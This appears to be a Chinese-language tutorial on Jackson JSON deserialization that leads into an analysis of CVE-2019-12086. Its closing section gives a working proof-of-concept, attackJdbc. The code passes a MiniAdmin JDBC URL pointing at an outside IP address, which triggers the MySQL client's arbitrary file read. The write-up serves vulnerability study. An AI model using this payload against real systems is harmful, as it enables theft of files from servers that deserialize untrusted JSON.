jackson学习+CVE-2019-12086漏洞分析


  jackson和fastjson差不多,都是用来更方便的处理json

  国人用fastjson,老外用jackson/gson比较多

  环境搭建:

    pom.xml:

<dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>5.1.25</version>
        </dependency>

        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.8</version>
        </dependency>

        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>RELEASE</version>
            <scope>compile</scope>
        </dependency>

  Student.java:

package com.test.JackSonTest;

public class Student{
    private String name;
    private Integer age;
    private Teacher teacher;

    public Student(){
        System.out.println("student构造方法被调用");
    };

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Teacher getTeacher() {
        return teacher;
    }

    public void setTeacher(Teacher teacher) {
        this.teacher = teacher;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", teacher=" + teacher +
                '}';
    }
}

    Teacher.java:

     

package com.test.JackSonTest;

public class Teacher{
    private String name;
    private int age;

    public Teacher(){
        System.out.println("teacher构造方法被调用");
    };
    public Teacher(String name,int age){
        this.name = name;
        this.age = age;
    }
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Teacher{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

  测试类:  

@Test
    public void test1() throws IOException {
        //序列化 对象转json字符串数据
        Student student = new Student();
        student.setName("jack");
        student.setAge(20);
        student.setTeacher(new Teacher("lua",33));
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);
        String result = objectMapper.writeValueAsString(student);
        System.out.println(result);
        //反序列化,json字符串数据转对象
        String jsonResult = "{\"name\":\"jack\",\"age\":20,\"teacher\":{\"name\":\"lua\",\"age\":33}}";
        Student stu = objectMapper.readValue(jsonResult, Student.class);
        System.out.println(stu);
    }

  运行输出:

    

 

 

student构造方法被调用
{"name":"jack","age":20,"teacher":{"name":"lua","age":33}}
student构造方法被调用
teacher构造方法被调用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 发现在反序列化(json转对象)的时候,优先调用构造方法,如果反序列化的json数据中的类继承了其他类,会自动调用其父类无参构造方法

  

  Jackson打印对象类型:  

@Test
    public void test2() throws IOException {
        //序列化 对象转json字符串
        Student student = new Student();
        student.setName("jack");
        student.setAge(20);
        student.setTeacher(new Teacher("lua",33));
        ObjectMapper objectMapper = new ObjectMapper();
        //序列化JSON串时,在值上打印出对象类型
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String result = objectMapper.writeValueAsString(student);
        System.out.println(result);
        //反序列化 json字符串转对象
        String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
        Student stu = objectMapper.readValue(jsonResult, Student.class);
        System.out.println(stu);
    }

  运行输出:

  

 

 

student构造方法被调用
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student构造方法被调用
teacher构造方法被调用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 这个很重要,jackson的很多漏洞跟他息息相关:

    通过上面的代码可以发现当开启enableDefaultTyping的时候,json字符串中的类会被反序列化.

 

  继续编写jackson测试:

  test_poc.java:

  

package com.test.JackSonTest;

public class test_poc {
    public test_poc(){};
    public test_poc(String name){
        System.out.println(name);
    }
}

 

  通过上面的代码,发现存在构造方法,一个无参,另一个有参数构造方法

  jackson反序列化:

  测试类:

    

 @Test
    public void test3() throws IOException {
        ObjectMapper objectMapper = new ObjectMapper();
        //序列化JSON串时,在值上打印出对象类型
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        //自定义构造
        String jsonResult = "[\"com.test.JackSonTest.test_poc\",\"test\"]";
        objectMapper.readValue(jsonResult,test_poc.class);
    }

  

 

 

    发现在[]中设置value,相当于是为构造方法添加新的参数

      

 

 

 通过前面的前置知识铺垫,jackson了解到的相关基础:(1)如果想使用[]去完成反序列化攻击,必须要开启enableDefaultTyping,获取到对象类型 (2)反序列化的时候自动调用对象构造方法及父类构造方法  (3)有参构造方法不需要设定值,不像setName/getName那样,需要"name":"test",只要[类,值]即可完成填充

  CVE-2019-12086是一个文件读取漏洞,直接查看他的利用链:利用环境在文章第一行已创建:

    漏洞文件在:

      repository/mysql/mysql-connector-java/5.1.25/mysql-connector-java-5.1.25.jar!/com/mysql/jdbc/MiniAdmin.class:

    通过反射加载跟进去:

      

 

 

  问题代码:

    

 public MiniAdmin(String jdbcUrl) throws SQLException {
        this(jdbcUrl, new Properties());
    }

    public MiniAdmin(String jdbcUrl, Properties props) throws SQLException {
        this.conn = (Connection)((Connection)(new Driver()).connect(jdbcUrl, props));
    }

    前面我们已经学习了足够多的前置知识,这里会连接jdbcUrl,如果jdbcUrl可控,会发送链接,正好mysql8以下存在任意文件读取...下面直接构造exp:

    attackerJdbc.java:

package com.test.JackSonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;


import java.io.IOException;
import java.sql.SQLException;

public class attackJdbc {
    public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException {
        ObjectMapper objectMapper =new ObjectMapper();
        Class.forName("com.mysql.jdbc.MiniAdmin");
        //一定要开启enableDefaultTyping
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        //通过前面的知识点学习知道,如果这样构造,就会自动给MiniAdmin类的有参构造方法传入string类型数据,数据内容为:jdbc:mysql://119.45.227.86:123/
        String json = "[\"com.mysql.jdbc.MiniAdmin\",\"jdbc:mysql://119.45.227.86:123/\"]";
        objectMapper.readValue(json,Object.class);
    }
}

  不理解部分查看注释:

    运行代码:

    

 

 

   这个漏洞相对简单,所以就不跟底层机制了.

   如果后续要找相关利用链,也可以用这个方法操作下..

漏洞学习参考:

https://b1ue.cn/archives/189.html

https://www.cnblogs.com/xinzhao/p/11005419.html 

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